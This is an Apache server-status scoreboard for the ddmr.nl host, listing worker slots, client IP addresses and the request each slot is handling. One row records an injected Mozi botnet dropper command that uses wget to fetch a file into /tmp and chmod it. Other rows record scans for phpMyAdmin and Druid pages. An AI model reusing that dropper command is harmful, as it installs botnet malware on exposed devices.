__.____.._._._..W............................................... ................................................................ ......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
| Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 0-35 | 2489308 | 0/52/29797 | _ | 0.27 | 239 | 18 | 1362458 | 0.0 | 0.16 | 510.34 | 46.105.39.49 | http/1.1 | ddmr.nl:443 | GET / HTTP/1.1 |
| 1-35 | 2413364 | 0/248/27593 | _ | 2.72 | 693 | 14 | 1918981 | 0.0 | 4.21 | 594.35 | 45.205.1.8 | http/1.1 | ddmr.nl:443 | PROPFIND / HTTP/1.1 |
| 2-35 | - | 0/0/26726 | . | 0.00 | 4794 | 0 | 2715992 | 0.0 | 0.00 | 454.91 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 3-35 | 2461561 | 0/158/25019 | _ | 1.00 | 834 | 0 | 2498937 | 0.0 | 0.64 | 460.78 | 2a02:a470:ccfd:0:6c83:7ecb:1c6c:12cf | http/1.1 | ||
| 4-35 | 2461663 | 0/82/23512 | _ | 1.13 | 181 | 0 | 1764213 | 0.0 | 0.61 | 351.32 | 139.135.41.112 | http/1.1 | ddmr.nl:80 | 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%207 |
| 5-35 | 2429251 | 0/120/23970 | _ | 2.16 | 1106 | 43 | 1292542 | 0.0 | 1.48 | 400.77 | 145.52.255.254 | http/1.1 | ddmr.nl:443 | POST /~derek/ips/index2.py HTTP/1.1 |
| 6-35 | 2461688 | 0/100/23933 | _ | 1.17 | 283 | 16 | 2435224 | 0.0 | 0.64 | 311.10 | 20.163.2.35 | http/1.1 | ddmr.nl:80 | GET /druid/index.html HTTP/1.1 |
| 7-35 | - | 0/0/20014 | . | 0.00 | 17200 | 0 | 2170114 | 0.0 | 0.00 | 270.14 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 8-35 | - | 0/0/19031 | . | 0.00 | 17230 | 0 | 888809 | 0.0 | 0.00 | 258.48 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 9-35 | 2449136 | 0/109/19656 | _ | 1.50 | 111 | 0 | 2019176 | 0.0 | 0.99 | 290.17 | 2604:a880:400:d1:0:3:ef57:1001 | http/1.1 | ||
| 10-35 | - | 0/0/14415 | . | 0.00 | 17226 | 0 | 1305263 | 0.0 | 0.00 | 194.53 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 11-35 | 2412437 | 0/153/15950 | _ | 2.66 | 693 | 16 | 778301 | 0.0 | 3.88 | 362.71 | 45.205.1.8 | http/1.1 | ddmr.nl:443 | GET / HTTP/1.1 |
| 12-35 | - | 0/0/11849 | . | 0.00 | 17229 | 0 | 543150 | 0.0 | 0.00 | 163.62 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 13-35 | 2461689 | 0/64/8844 | _ | 1.20 | 97 | 19 | 1009641 | 0.0 | 6.19 | 181.40 | 176.65.139.101 | http/1.1 | ddmr.nl:80 | GET /phpMyAdmin/scripts/setup.php HTTP/1.1 |
| 14-35 | - | 0/0/7256 | . | 0.00 | 17302 | 0 | 363500 | 0.0 | 0.00 | 66.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 15-35 | - | 0/0/4916 | . | 0.00 | 17301 | 0 | 193629 | 0.0 | 0.00 | 45.70 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 16-35 | 2461752 | 1/71/5713 | W | 1.29 | 0 | 0 | 256081 | 3.7 | 0.68 | 68.69 | 216.73.217.44 | http/1.1 | hhs.ddmr.nl:443 | GET /server-status HTTP/1.1 |
| 17-35 | - | 0/0/1973 | . | 0.00 | 17254 | 0 | 144702 | 0.0 | 0.00 | 36.77 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 18-33 | - | 0/0/635 | . | 0.00 | 160598 | 0 | 44778 | 0.0 | 0.00 | 6.28 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 19-33 | - | 0/0/735 | . | 0.00 | 161814 | 0 | 29996 | 0.0 | 0.00 | 24.52 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 20-32 | - | 0/0/776 | . | 0.00 | 287472 | 0 | 28850 | 0.0 | 0.00 | 13.23 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 21-32 | - | 0/0/118 | . | 0.00 | 287471 | 0 | 3514 | 0.0 | 0.00 | 1.02 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 22-32 | - | 0/0/224 | . | 0.00 | 287470 | 0 | 9253 | 0.0 | 0.00 | 2.43 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 23-32 | - | 0/0/751 | . | 0.00 | 287468 | 0 | 54800 | 0.0 | 0.00 | 6.79 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 24-32 | - | 0/0/151 | . | 0.00 | 287469 | 0 | 4771 | 0.0 | 0.00 | 1.21 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 25-30 | - | 0/0/350 | . | 0.00 | 442603 | 0 | 11068 | 0.0 | 0.00 | 2.75 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 26-30 | - | 0/0/801 | . | 0.00 | 442628 | 0 | 43092 | 0.0 | 0.00 | 26.59 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 27-30 | - | 0/0/84 | . | 0.00 | 442614 | 0 | 2318 | 0.0 | 0.00 | 0.66 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 28-30 | - | 0/0/32 | . | 0.00 | 442621 | 0 | 1459 | 0.0 | 0.00 | 0.27 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 29-30 | - | 0/0/37 | . | 0.00 | 442624 | 0 | 1307 | 0.0 | 0.00 | 0.17 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 30-30 | - | 0/0/779 | . | 0.00 | 442615 | 0 | 108432 | 0.0 | 0.00 | 64.56 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 31-30 | - | 0/0/202 | . | 0.00 | 442617 | 0 | 19613 | 0.0 | 0.00 | 1.86 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 32-30 | - | 0/0/1563 | . | 0.00 | 442594 | 0 | 299209 | 0.0 | 0.00 | 176.77 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 33-30 | - | 0/0/28 | . | 0.00 | 442612 | 0 | 784 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 34-30 | - | 0/0/540 | . | 0.00 | 442595 | 0 | 102648 | 0.0 | 0.00 | 56.44 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 35-30 | - | 0/0/192 | . | 0.00 | 438047 | 0 | 2319 | 0.0 | 0.00 | 0.87 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 36-30 | - | 0/0/273 | . | 0.00 | 414844 | 0 | 9302 | 0.0 | 0.00 | 6.50 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 37-30 | - | 0/0/291 | . | 0.00 | 442601 | 0 | 85073 | 0.0 | 0.00 | 158.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 38-30 | - | 0/0/28 | . | 0.00 | 442573 | 0 | 841 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 39-30 | - | 0/0/68 | . | 0.00 | 442608 | 0 | 2880 | 0.0 | 0.00 | 0.51 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 40-30 | - | 0/0/29 | . | 0.00 | 442616 | 0 | 545 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 41-30 | - | 0/0/26 | . | 0.00 | 442622 | 0 | 614 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 42-30 | - | 0/0/20 | . | 0.00 | 442598 | 0 | 1091 | 0.0 | 0.00 | 0.18 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 43-30 | - | 0/0/22 | . | 0.00 | 442592 | 0 | 456 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 44-30 | - | 0/0/23 | . | 0.00 | 442588 | 0 | 617 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 45-30 | - | 0/0/16 | . | 0.00 | 442589 | 0 | 602 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 46-30 | - | 0/0/24 | . | 0.00 | 442579 | 0 | 590 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 47-30 | - | 0/0/572 | . | 0.00 | 442590 | 0 | 21252 | 0.0 | 0.00 | 5.93 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 48-30 | - | 0/0/20 | . | 0.00 | 442585 | 0 | 460 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 49-30 | - | 0/0/54 | . | 0.00 | 442572 | 0 | 1349 | 0.0 | 0.00 | 0.48 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 50-30 | - | 0/0/26 | . | 0.00 | 442582 | 0 | 866 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 51-30 | - | 0/0/16 | . | 0.00 | 442632 | 0 | 1025 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 52-30 | - | 0/0/23 | . | 0.00 | 442625 | 0 | 578 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 53-30 | - | 0/0/17 | . | 0.00 | 442569 | 0 | 1138 | 0.0 | 0.00 | 0.15 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 54-30 | - | 0/0/16 | . | 0.00 | 442584 | 0 | 1236 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 55-30 | - | 0/0/291 | . | 0.00 | 414834 | 0 | 6076 | 0.0 | 0.00 | 2.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 56-30 | - | 0/0/20 | . | 0.00 | 442607 | 0 | 917 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 57-30 | - | 0/0/17 | . | 0.00 | 442634 | 0 | 552 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 58-30 | - | 0/0/15 | . | 0.00 | 442579 | 0 | 987 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 59-30 | - | 0/0/195 | . | 0.00 | 414842 | 0 | 11176 | 0.0 | 0.00 | 4.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 60-30 | - | 0/0/16 | . | 0.00 | 442605 | 0 | 1062 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 61-30 | - | 0/0/31 | . | 0.00 | 442600 | 0 | 747 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 62-30 | - | 0/0/16 | . | 0.00 | 442568 | 0 | 1353 | 0.0 | 0.00 | 0.15 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 63-30 | - | 0/0/16 | . | 0.00 | 442633 | 0 | 839 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 64-30 | - | 0/0/17 | . | 0.00 | 442576 | 0 | 9271 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 65-30 | - | 0/0/17 | . | 0.00 | 442619 | 0 | 7290 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 66-30 | - | 0/0/28 | . | 0.00 | 442623 | 0 | 9021 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 67-30 | - | 0/0/196 | . | 0.00 | 442604 | 0 | 14515 | 0.0 | 0.00 | 1.96 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 68-30 | - | 0/0/646 | . | 0.00 | 385995 | 0 | 40572 | 0.0 | 0.00 | 6.94 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 69-30 | - | 0/0/485 | . | 0.00 | 442575 | 0 | 71421 | 0.0 | 0.00 | 86.56 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 70-30 | - | 0/0/13 | . | 0.00 | 442641 | 0 | 9758 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 71-30 | - | 0/0/32 | . | 0.00 | 442627 | 0 | 7743 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 72-30 | - | 0/0/25 | . | 0.00 | 442613 | 0 | 9113 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 73-30 | - | 0/0/296 | . | 0.00 | 414843 | 0 | 12799 | 0.0 | 0.00 | 5.57 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 74-30 | - | 0/0/15 | . | 0.00 | 442577 | 0 | 5250 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 75-12 | - | 0/0/8 | . | 0.00 | 1989164 | 0 | 4868 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 76-12 | - | 0/0/7 | . | 0.00 | 1989162 | 0 | 4859 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 77-12 | - | 0/0/8 | . | 0.00 | 1989160 | 0 | 2926 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 78-12 | - | 0/0/9 | . | 0.00 | 1989161 | 0 | 2573 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 79-12 | - | 0/0/359 | . | 0.00 | 1989159 | 0 | 25230 | 0.0 | 0.00 | 4.49 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 80-12 | - | 0/0/8 | . | 0.00 | 1989158 | 0 | 3018 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 81-12 | - | 0/0/8 | . | 0.00 | 1989156 | 0 | 2843 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 82-12 | - | 0/0/8 | . | 0.00 | 1989155 | 0 | 3061 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 83-12 | - | 0/0/7 | . | 0.00 | 1989157 | 0 | 2632 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 84-12 | - | 0/0/9 | . | 0.00 | 1989154 | 0 | 2817 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 85-12 | - | 0/0/5 | . | 0.00 | 1989153 | 0 | 669 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 86-12 | - | 0/0/8 | . | 0.00 | 1989152 | 0 | 966 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 87-12 | - | 0/0/7 | . | 0.00 | 1989151 | 0 | 844 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 88-12 | - | 0/0/6 | . | 0.00 | 1989148 | 0 | 882 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 89-12 | - | 0/0/8 | . | 0.00 | 1989149 | 0 | 489 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 90-12 | - | 0/0/8 | . | 0.00 | 1989145 | 0 | 623 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 91-12 | - | 0/0/9 | . | 0.00 | 1989147 | 0 | 552 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 92-12 | - | 0/0/9 | . | 0.00 | 1989150 | 0 | 995 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 93-12 | - | 0/0/7 | . | 0.00 | 1989146 | 0 | 905 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 94-12 | - | 0/0/8 | . | 0.00 | 1989144 | 0 | 766 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 95-12 | - | 0/0/5 | . | 0.00 | 1989143 | 0 | 698 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 96-12 | - | 0/0/10 | . | 0.00 | 1989142 | 0 | 670 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 97-12 | - | 0/0/42 | . | 0.00 | 1981347 | 0 | 817 | 0.0 | 0.00 | 0.44 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 98-12 | - | 0/0/9 | . | 0.00 | 1989139 | 0 | 898 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 99-12 | - | 0/0/9 | . | 0.00 | 1989141 | 0 | 900 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 100-12 | - | 0/0/8 | . | 0.00 | 1989140 | 0 | 917 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 101-12 | - | 0/0/6 | . | 0.00 | 1989082 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 102-12 | - | 0/0/15 | . | 0.00 | 1987460 | 0 | 1093 | 0.0 | 0.00 | 0.54 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 103-12 | - | 0/0/14 | . | 0.00 | 1989080 | 0 | 49 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 104-12 | - | 0/0/95 | . | 0.00 | 1972125 | 0 | 2051 | 0.0 | 0.00 | 0.96 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 105-12 | - | 0/0/26 | . | 0.00 | 1989081 | 0 | 808 | 0.0 | 0.00 | 0.25 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 106-12 | - | 0/0/12 | . | 0.00 | 1987268 | 0 | 669 | 0.0 | 0.00 | 0.09 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 107-12 | - | 0/0/16 | . | 0.00 | 1987435 | 0 | 7 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 108-12 | - | 0/0/61 | . | 0.00 | 1980609 | 0 | 1719 | 0.0 | 0.00 | 0.70 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 109-12 | - | 0/0/58 | . | 0.00 | 1981350 | 0 | 2834 | 0.0 | 0.00 | 1.10 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 110-12 | - | 0/0/30 | . | 0.00 | 1983250 | 0 | 665 | 0.0 | 0.00 | 0.31 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 111-12 | - | 0/0/27 | . | 0.00 | 1989201 | 0 | 647 | 0.0 | 0.00 | 0.26 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 112-12 | - | 0/0/13 | . | 0.00 | 1986970 | 0 | 486 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 113-12 | - | 0/0/6 | . | 0.00 | 1989202 | 0 | 259 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 114-12 | - | 0/0/6 | . | 0.00 | 1989200 | 0 | 442 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 115-12 | - | 0/0/23 | . | 0.00 | 1989199 | 0 | 21217 | 0.0 | 0.00 | 0.24 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 116-12 | - | 0/0/6 | . | 0.00 | 1989192 | 0 | 336 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 117-12 | - | 0/0/6 | . | 0.00 | 1989198 | 0 | 372 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 118-12 | - | 0/0/6 | . | 0.00 | 1989197 | 0 | 358 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 119-12 | - | 0/0/8 | . | 0.00 | 1989196 | 0 | 449 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 120-12 | - | 0/0/7 | . | 0.00 | 1989111 | 0 | 415 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 121-12 | - | 0/0/5 | . | 0.00 | 1989191 | 0 | 282 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 122-12 | - | 0/0/6 | . | 0.00 | 1989194 | 0 | 439 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 123-12 | - | 0/0/27 | . | 0.00 | 1989193 | 0 | 1095 | 0.0 | 0.00 | 0.26 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 124-12 | - | 0/0/3 | . | 0.00 | 1989190 | 0 | 79 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 125-12 | - | 0/0/7 | . | 0.00 | 1989189 | 0 | 357 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 126-12 | - | 0/0/6 | . | 0.00 | 1989186 | 0 | 466 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 127-12 | - | 0/0/14 | . | 0.00 | 1989188 | 0 | 651 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 128-12 | - | 0/0/7 | . | 0.00 | 1989187 | 0 | 205 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 129-12 | - | 0/0/5 | . | 0.00 | 1989185 | 0 | 446 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 130-12 | - | 0/0/6 | . | 0.00 | 1989184 | 0 | 216 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 131-12 | - | 0/0/5 | . | 0.00 | 1989182 | 0 | 479 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 132-12 | - | 0/0/5 | . | 0.00 | 1989183 | 0 | 509 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 133-1 | - | 0/0/5 | . | 0.00 | 2896854 | 0 | 239 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 134-1 | - | 0/0/6 | . | 0.00 | 2896773 | 0 | 492 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 135-1 | - | 0/0/5 | . | 0.00 | 2896750 | 0 | 382 | 0.0 | 0.00 | 0.07 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| 136-1 | - | 0/0/5 | . | 0.00 | 2896806 | 0 | 374 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ddmr.nl:80 | OPTIONS * HTTP/1.0 |
| Srv | Child Server number - generation |
|---|---|
| PID | OS process ID |
| Acc | Number of accesses this connection / this child / this slot |
| M | Mode of operation |
